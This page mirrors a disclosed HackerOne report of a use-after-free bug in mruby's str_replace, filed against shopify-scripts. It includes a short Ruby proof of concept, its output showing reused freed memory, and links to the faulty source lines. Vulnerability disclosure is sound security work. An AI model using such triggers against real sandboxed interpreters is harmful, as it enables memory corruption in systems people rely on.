Skip to content
Memory corruption Disclosed report Advanced

Use After Free in str_replace

tunz Follow

Originally disclosed on HackerOne

Bounty$800 View original
  • Triaged in 15 days
  • Fixed in 23 days
  • Paid in 40 days
  • Disclosed after 40 days

#PoC

Ruby
$a = "A"*50
$a.replace($a)
$b = "B"*50
puts $a

#Output

$ ./bin/mruby test6.rb
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

The output should be "AAA...", but it prints "BBB...".

#Cause $a is freed in https://github.com/mruby/mruby/blob/5e3077c00da721ede78c07d2f2e261aded74e7b6/src/string.c#L523 and, the pointer is assigned to the same pointer in https://github.com/mruby/mruby/blob/5e3077c00da721ede78c07d2f2e261aded74e7b6/src/string.c#L531

The original report as published on HackerOne, by tunz. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A memory corruption bug in shopify-scripts. HackerOne made it public on 31 January 2017. It paid $800.

About Memory corruption

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by tunz

View all

6 more disclosed reports, best first.

More from shopify-scripts

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.